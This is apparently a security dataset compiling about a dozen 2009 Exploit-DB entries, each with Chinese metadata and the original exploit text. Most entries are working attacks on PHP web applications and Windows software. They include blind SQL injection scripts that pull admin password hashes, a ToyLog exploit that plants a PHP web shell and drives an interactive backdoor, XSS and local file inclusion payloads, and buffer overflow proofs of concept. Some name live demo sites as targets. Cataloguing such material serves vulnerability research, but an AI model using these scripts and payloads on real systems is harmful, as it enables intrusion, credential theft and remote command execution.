QLWD/code_shield huggingface dataset:
标题: Digitaldesign CMS 0.1 - Remote Database Disclosure EDB-ID: 9115 CVE: 2009-3597 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-10 漏洞利用脚本: +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
-           __           __     _       __                -
+      ____/ /___ ______/ /__  (_)___  / /_____  _____    +
-     / __  / __ `/ ___/ //_/ / / __ \/ //_/ _ \/ ___/    -
+    / /_/ / /_/ / /  / ,<   / / /_/ / ,< /  __/ /        +
-    \__,_/\__,_/_/  /_/|_|_/ /\____/_/|_|\___/_/         -
+                        /___/                            +
-                                                         -
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


Digitaldesign CMS v0.1 Database Disclosure Vulnerability

[+] Author  : darkjoker
[+] Site    : http://darkjoker.net23.net
[+] Download: http://sourceforge.net/projects/ddcms/

[+] URL     : http://[hostname]/[CMS path]/autoconfig.dd
[+] Ex.     : http://localhost/ddcms/autoconfig.dd

# milw0rm.com [2009-07-10] URL: https://www.exploit-db.com/exploits/9115
标题: ebay clone 2009 - Cross-Site Scripting / Blind SQL Injection EDB-ID: 9118 CVE: 2009-2424 2009-2423 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-10 漏洞利用脚本: ###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] I'm back <3 VB6
==============================================================================
        [Â»] Ebay Clone 2009 Multiple Remote Vulnerabilities
==============================================================================

 [Â»] Script:             [ Ebay Clone 2009 ]
 [Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.ebayclonescript.com/  ]
 [Â»] Founder:            [ Moudi or SixSo <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man...]
        [Â»] Team:               [ EvilWay ]
        [Â»] SiteWeb:            [ Visit - www.opensc.ws ]
        [Â»] Price:              [ 99$ ]

###########################################################################

===[ Exploit BLIND SQL ]=== 
 
 [Â»] http://www.site.com/patch/category.php?view=list&cate_id=[BLIND]
 [Â»] http://ebayclonescript.com/ebayclone2009/category.php?view=list&cate_id=1+AND%20SUBSTRING(@@version,1,1)=5

===[ Exploit XSS ]=== 

        [Â»] http://www.site.com/patch/search.php?mode=[XSS]
 [Â»] http://ebayclonescript.com/ebayclone2009/search.php?mode=%22%3E%3Cscript%3Ealert(0)%3C/script%3E

Note: in this script have some other blind sql and xss , but i am tired to do all :D


Author: Moudi

###########################################################################

# milw0rm.com [2009-07-10] URL: https://www.exploit-db.com/exploits/9118
标题: Morcego CMS 1.7.6 - Blind SQL Injection EDB-ID: 9121 CVE: 2009-3713 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-10 漏洞利用脚本: +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
-           __           __     _       __                -
+      ____/ /___ ______/ /__  (_)___  / /_____  _____    +
-     / __  / __ `/ ___/ //_/ / / __ \/ //_/ _ \/ ___/    -
+    / /_/ / /_/ / /  / ,<   / / /_/ / ,< /  __/ /        +
-    \__,_/\__,_/_/  /_/|_|_/ /\____/_/|_|\___/_/         -
+                        /___/                            +
-                                                         -
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

<?php

function usage () {
 exit (  "\n".
  "+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n".
  "-                                                                   -\n".
  "+ Morcego CMS <= 1.7.6 Blind SQL Injection Exploit                  +\n".
  "- Author  : darkjoker                                               -\n".
  "+ Site    : http://darkjoker.net23.net                              +\n".
         "- Download: http://sourceforge.net/projects/morcegocms/             -\n".
  "+ Usage   : php xpl.php <hostname> <path> <username>                +\n".
  "- Ex.     : php xpl.php localhost /MorcegoCMS/ root                 -\n".
  "+                                                                   +\n".
  "-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n".
  "\n");
}

function hex ($string) {
 $i=0;
 while ($i<strlen($string)) 
  $hex .= "%".dechex(ord($string[$i++]));
 return $hex;
}

function check_chr ($hostname, $path, $pos, $char, $username) {
 $char = ord ($char);
 if (!($sp = fsockopen ($hostname, 80, $errno, $errstr, 5)))
  die ("[-] Unknow hostname.");
 $query = hex ("1' OR ASCII(SUBSTRING((SELECT password FROM morcego_users WHERE username='{$username}'),{$pos},1))={$char}-- ");
 $request = "GET {$path}fichero.php?{$query} HTTP/1.1\r\n".
     "Host: {$hostname}\r\n".
     "Connection: Close\r\n\r\n";
 fputs ($sp, $request);
 while (!feof ($sp))
  $reply .= fgets ($sp, 1024);
 fclose ($sp);
 if (preg_match ("|Page not found|", $reply))
  return false;
 else
  return true;
}

if ($argc != 4)
 usage ();
$hostname = $argv [1];
$path = $argv [2];
$username = $argv [3];
$array = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
echo "[+] Password (hash): ";
for ($i=0,$d=1;$i<strlen($array);) {
 if (check_chr ($hostname, $path, $d, $array [$i], $username)) {
  echo $array [$i];
  $i=0;
  $d++;
 }
 else
  $i++;
}
echo "\n";

# milw0rm.com [2009-07-10] URL: https://www.exploit-db.com/exploits/9121
标题: otsAV DJ/TV/Radio - Multiple Local Heap Overflows (PoC) EDB-ID: 9113 CVE: 2009-3812 类型: DOS 平台: WINDOWS 发布日期: 2009-07-10 漏洞利用脚本: ----------------------------------the first Poc------------------------------------
#!/usr/bin/perl
# OtsAv DJ [.olf] Local Heap Overflow Poc
# Down : http://serv-08.download.otszone.com/download.cgi/otsavdjtrialsetup.exe?A=13JTHRVWJLLLZ5JG2AYRNSMN%2DWJMQXDJKA%2DRFQ&otsavdjtrialsetup.exe
# Desc : 7000 A' Heap overflow
# By Mountassif Moad a.k.a Stack
# v4 Team & evil finger
# Open Stack.ofl >> File >>  Import List   >> As playlist  >>
# BOOOOOOOOOOOOOOOOOOOM
# register of 7000 A'
# EAX 41414141
# ECX 00E5448C OtsAVDJt.00E5448C
# EDX 41414141
# EBX 00E54488 OtsAVDJt.00E54488
# ESP 02C6FE1C
# EBP 00E0D328 OtsAVDJt.00E0D328
# ESI 00000000
# EDI 0174C070 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# EIP 0046266C OtsAVDJt.0046266C
# register of 2000 A'
# EAX 41414141
# ECX 00001B05
# EDX 02FAF730
# EBX 0000042A
# ESP 02FAF9C8
# EBP 00000000
# ESI 020FAFEA
# EDI 02FAFEAA
# EIP 0043C8D7 OtsAVDJt.0043C8D7
use strict;
use warnings;
my $A= "\x41" x 7000;
open(my $ofl_playlist, "> stack.ofl");
print $ofl_playlist
                    $A.
                    "\r\n";
close $ofl_playlist;
-------------------------------Second Poc-----------------------------------------------------

#!/usr/bin/perl
# OtsAv TV [.olf] Local Heap Overflow Poc
# Down : http://www.otsav.com/buy/tv/
# Desc : 2000 A' Heap overflow
# By Mountassif Moad a.k.a Stack
# v4 Team & evil finger
# Open Stack.ofl >> File >>  Import List   >> As playlist  >>
# BOOOOOOOOOOOOOOOOOOOM
# EAX 45454545
# ECX 00009AF0
# EDX 03A0F730
# EBX 0000042A
# ESP 03A0F9C8
# EBP 00000000
# ESI 02CD7102
# EDI 03A0FEAA
# EIP 0043C8D7 OtsAVTVt.0043C8D7
use strict;
use warnings;
my $A= "\x45" x 2000;
open(my $ofl_playlist, "> stack.ofl");
print $ofl_playlist
                    $A.
                    "\r\n";
close $ofl_playlist;
----------------------------------- 3 POC-------------------------------------------------
#!/usr/bin/perl
# OtsAv Radio [.olf] Local Heap Overflow Poc
# Down : http://www.otsav.com/buy/radio/
# Desc : 2000 A' Heap overflow
# By Mountassif Moad a.k.a Stack
# v4 Team & evil finger
# Open Stack.ofl >> File >>  Import List   >> As playlist  >>
# BOOOOOOOOOOOOOOOOOOOM
# EAX 45454545
# ECX 0000CD32
# EDX 0224F730
# EBX 00000452
# ESP 0224F9C8
# EBP 00000000
# ESI 00C8E0EA
# EDI 0224FED2
# EIP 0043B497 OtsAVRDt.0043B497
use strict;
use warnings;
my $A= "\x45" x 2000;
open(my $ofl_playlist, "> stack.ofl");
print $ofl_playlist
                    $A.
                    "\r\n";
close $ofl_playlist;

# milw0rm.com [2009-07-10] URL: https://www.exploit-db.com/exploits/9113
标题: AwingSoft Web3D Player - 'WindsPly.ocx' Remote Buffer Overflow (PoC) EDB-ID: 9116 CVE: 2009-4588 类型: DOS 平台: WINDOWS 发布日期: 2009-07-10 漏洞利用脚本: -----------------------------------------------------------------------------
 AwingSoft Web3D Player (WindsPly.ocx) "SceneURL()" Remote Buffer Overflow
 url: http://www.awingsoft.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net/

 Dedicated to aaannamariaaa :D

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 File: WindsPly.ocx
 Ver.: <= 3.5.0.0
 GUID: {17A54E7D-A9D4-11D8-9552-00E04CB09903}
 ProgID: WindsPlayerIE.View.1

 Marked as:
 RegKey Safe for Script: Falso
 RegKey Safe for Init: Falso
 Implements IObjectSafety: Vero
 IDisp Safe: Safe for untrusted: caller,data
 IPersist Safe: Safe for untrusted: caller,data
 IPStorage Safe: Safe for untrusted: caller,data

 Tested on Windows XP Professional SP3 all patched, with Internet Explorer 8
-----------------------------------------------------------------------------
<object classid='clsid:17A54E7D-A9D4-11D8-9552-00E04CB09903' id='test'></object>

<script language='vbscript'>
  buff = String(8704, "A")
  mReg = unescape("bbbb")
  mExc = unescape("%00%00%01%00") 'Memory address: 00010000 Access: RW
  buf1 = String(88, "c")
  buf2 = String(47284, "D")

  test.SceneURL = buff + mReg + mExc + buf1 + buf2
</script>

# milw0rm.com [2009-07-10] URL: https://www.exploit-db.com/exploits/9116
标题: Jobbr 2.2.7 - Multiple SQL Injections EDB-ID: 9111 CVE: 2009-2427 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-10 漏洞利用脚本: ###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] Hmmmm !? Nothing ! :D
==============================================================================
        [Â»] Jobbr v2.2.7 Multiple Remote SQL Injection Vulnerabilities
==============================================================================

 [Â»] Script:             [ Jobbr v2.2.7 ]
 [Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://urx.in/jobbr ]
 [Â»] Founder:            [ Moudi or SixSo <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man...]
        [Â»] Team:               [ EvilWay ]
        [Â»] SiteWeb:            [ Visit - www.opensc.ws ]
        [Â»] Price:              [ FREE ]

###########################################################################

===[ Exploit BLIND SQL + DEMO ]=== 
 
 [Â»] http://www.site.com/co-profile.php?emp_id=[SQL]
 [Â»] http://www.jobbr.us/co-profile.php?emp_id=null+union+select+version(),2,3,4,5,6,7,8--

===[ Exploit BLIND SQL + DEMO ]===

 [Â»] http://www.site.com/co-profile.php?emp_id=[BLIND]
 [Â»] http://www.jobbr.us/co-profile.php?emp_id=1+AND%20SUBSTRING(@@version,1,1)=5


Author: Moudi

###########################################################################

# milw0rm.com [2009-07-10] URL: https://www.exploit-db.com/exploits/9111
标题: ToyLog 0.1 - SQL Injection / Remote Code Execution EDB-ID: 9109 CVE: 2009-3750 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-10 漏洞利用脚本: --+++=====================================================================================+++--
--+++====== ToyLog 0.1 SQL Injection Vulnerability/Remote Command Execution Exploit ======+++--
--+++=====================================================================================+++--

[+] SQL Injection Vulnerability
Url: http://localhost/ToyLog/read.php?idm=1%20UNION%20ALL%20SELECT%201,username,password,4%20FROM%20user

[+] Remote Command Execution Exploit

#!/usr/bin/php
<?php

function usage () {
 exit ( "\n".
  "+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n".
  "-                                                   -\n".
  "+ ToyLog 0.1 Remote Command Execution Exploit       +\n".
  "- Author  : darkjoker                               -\n".
  "+ Site    : http://darkjoker.net23.net              +\n".
  "- Download: http://sourceforge.net/projects/toylog/ -\n".
  "+ Usage   : php xpl.php <url>                       +\n".
  "- Ex.     : php xpl.php http://localhost/ToyLog/    -\n".
  "+                                                   +\n".
  "-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n".
  "\n");
}

function hex_format ($string) {
 $i=0;
 while ($i<strlen($string)) 
  $hex .= "%".dechex(ord($string[$i++]));
 return $hex;
}

function get_path ($host, $dir) {
 $fp = fsockopen ($host, 80);
 $query = hex_format ("1 UNION ALL SELECT * FROM does_not_exist");
 $req = "GET {$dir}read.php?idm={$query} HTTP/1.1\r\n".
  "Host: {$host}\r\n".
  "Connection: Close\r\n\r\n";
 fputs ($fp, $req);
 while (!feof ($fp)) 
  if (preg_match ("|resource in <b>(.+?)</b> on|", fgets ($fp, 1024), $data))
   $path = $data [1];
 list ($path) = explode ("block/db.php", $path);
 fclose ($fp);
 return $path;
}

function upload_shell ($host, $dir) {
 $fp = fsockopen ($host, 80);
 $shell_path = get_path ($host, $dir)."shell.php";
 if (!strcmp ($shell_path, "shell.php"))
  die ("[-] Exploit failed.\n");
 $query = hex_format('1 UNION ALL SELECT 1,2,\'xxx<?php system (stripslashes($_GET[\\\'cmd\\\'])); ?>xxx\',4 INTO OUTFILE \''.$shell_path.'\' FROM post');
 $req = "GET {$dir}read.php?idm={$query} HTTP/1.1\r\n".
  "Host: {$host}\r\n".
  "Connection: Close\r\n\r\n";
 fputs ($fp, $req);
 fclose ($fp);
}

if (!preg_match ("|http://(.+?)(/.+/)|", $argv [1], $data))
 usage ();
array_shift ($data);
list ($host, $dir) = $data;
upload_shell ($host, $dir);
$stdin = fopen ("php://stdin", "r");
while (1) {
 echo "backdoor@{$host}: ";
 $cmd = hex_format(trim (fgets ($stdin, 1024)));
 if (!strcmp ($cmd, hex_format("exit")))
  break;
 $out = explode ("xxx", file_get_contents ("http://{$host}{$dir}shell.php?cmd={$cmd}"));
 array_shift ($out);
 array_pop ($out);
 echo $out [0];
}

?>

# milw0rm.com [2009-07-10] URL: https://www.exploit-db.com/exploits/9109
标题: Phenotype CMS 2.8 - 'login.php?user' Blind SQL Injection EDB-ID: 9107 CVE: 2009-3543 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-10 漏洞利用脚本: #####################################################################################
####                   Phenotype v2.8  Blind Sql Injection                       ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : http://ircrash.com                                                      #
#My Official WebSite : http://r3dw0rm.ir                                            #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr)            #
#####################################################################################
#                                                                                   #
#Download : http://www.phenotype-cms.com                                            #
#                                                                                   #
#Dork : :(                                                                          #
#                                                                                   #
#####################################################################################
#                                      [Bug]                                        #
#                                                                                   #
#http://[site]/_phenotype/admin/login.php?user=-999') and ascii(substring((select user_login from user limit 1,1),1,1))=[ascii code try]/*
#http://[site]/_phenotype/admin/login.php?user=-999') and ascii(substring((select user_pass from user limit 1,1),1,1))=[ascii code try]/*
#                                                                                   #
#Note :                                                                             #
#1. This bug in admin folder, but u dont need to login,u can use bug with out login #
#2. If ascii is true u see login page else u see 500 Internal Server Error          #
#                                                                                   #
###################################### TNX GOD ######################################

# milw0rm.com [2009-07-10] URL: https://www.exploit-db.com/exploits/9107
标题: Universe CMS 1.0.6 - 'vnews.php?id' SQL Injection EDB-ID: 9099 CVE: 2009-3531 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-09 漏洞利用脚本: #!/usr/bin/perl -w
# Universe CMS 1.0.6 (id) Remote SQL Injection Exploit
# Demo : http://www.universe.uni.org.pl
# Download : http://www.universe.uni.org.pl/upload/universecms106.rar
# Found by : Mr.tro0oqy <Yemeni ana>
# E-mail : t.4@windowslive.com
# special thank for my teacher "Stack"
########################################
system("color e");
print "\t\t0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0\n\n";
print "\t\t0  Universe CMS 1.0.6 (id) Remote SQL Injection Exploit   0\n\n";
print "\t\t0                       by Mr.tro0oqy                     0\n\n";
print "\t\t0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0\n\n";
use LWP::UserAgent;
die "Example: perl $0 http://target.com/path \n" unless @ARGV;
$user="login";
$pass="password";
$tab="uni_users";
$b = LWP::UserAgent->new() or die "error\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $ARGV[0] . "/vnews.php?id=-1+union+select+1,2,3,4,concat(CHAR(60,117,115,101,114,62),".$user.",CHAR(60,117,115,101,114,62),CHAR(60,112,97,115,115,62),".$pass.",CHAR(60,112,97,115,115,62)),6+from+".$tab."&print=1";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
if ($answer =~ /<user>(.*?)<user>/){
        print "\ loading .....\n";
        print "\n[+] Admin User : $1";
}
if ($answer =~/<pass>(.*?)<pass>/)
{
print "\n[+] Admin Hash : $1\n\n";
print "\t\t#   %100   #\n\n";}

else
{
print "\n[-] Exploit Failed...\n";
}

# milw0rm.com [2009-07-09] URL: https://www.exploit-db.com/exploits/9099
标题: MyMsg 1.0.3 - 'uid' SQL Injection EDB-ID: 9105 CVE: 2009-3528 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-10 漏洞利用脚本: ###################################################################
###################################################################
MyMsg 1.0.3 (Profile.php ) Remote SQL Injection Vuln
###################################################################
Founder : Monster-Dz
Mail: u.2d[at]Hotmail[dot]CoM
###################################################################
Download:http://www.mymsg.al4us.com/index.php?Page=Download
Home: WwW.Sa-SaFe.NeT ( H4ckF0rU.CoM Back Sooon )
###################################################################
SQL Injection Vulnerability  
###################################################################
Exploit:
###################################################################
                      1) First Register On ThE Site http://www.victim.com/User.php?Action=New
       2) Login  
                      3) Example: You Will Go At That Link   http://www.victim.com/Boxes.php?SES_ID=5f97b23814644739be5ac2d335773753&box=1
       4) Exploit:
         ---------
      http://www.victim.com/Profile.php?SES_ID=| Your Session Id |&do=show&uid=-225+union+select+1,2,3,4,concat(Admin_Name,0x3a,Admin_Password),6,7,8,9,10,11,12+from+tbl_setting--
Demo
----
http://www.mymsg.al4us.com/Demo/MyMsg_1.0.3/
####################################################################
Greeting : MasTer_Fin@L - ThE g0bL!N - Sarbot511 - DrEaDFuL aNd All My Friends

# milw0rm.com [2009-07-10] URL: https://www.exploit-db.com/exploits/9105
标题: gencms 2006 - Multiple Vulnerabilities EDB-ID: 9103 CVE: 2009-3825 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-10 漏洞利用脚本: GenCMS
http://gencms.berlios.de/

eLwaux(c)2009

LFI
/show.php
----------------------------------------------------------------------------------------------------
18:   $param = $_GET['p'];
19:   if(empty($param)) $param = 'news';
20:          //get right page
21:       //$page = $param.'.php';
22: 
23:    //static or dynamic
24:    if(GC_FULLSTATIC)
25:    {
26:        $page = $param.'.htm';
27:        staticpage($page);
28:    }
29:    else
30:    {
31:        $page = GC_IPATH.'_base/sites/'.$param.'.php';
32:        dynamicpage($page);
33:    }
----------------------------------------------------------------------------------------------------
PoC: /show.php?p=../../{FILE.PHP}%00


LFI
/admin/pages/SiteNew.php
----------------------------------------------------------------------------------------------------
14:   if(!empty($_GET['step'])) $Step = $_GET['step'];
23:   if ($Step == "2")
24:   {
25:        // allgemeine settings
26:        //include blocks from template config
27:        include_once(GC_IPATH.'templates/'.$_POST['Template'].'/config.php');
28:        $TPLBlocks = explode(';',$TemplateSettings);
29:   }
----------------------------------------------------------------------------------------------------
PoC: /admin/pages/SiteNew.php?step=2& ( POST: Template=../{FILE.PHP}%00 )

# milw0rm.com [2009-07-10] URL: https://www.exploit-db.com/exploits/9103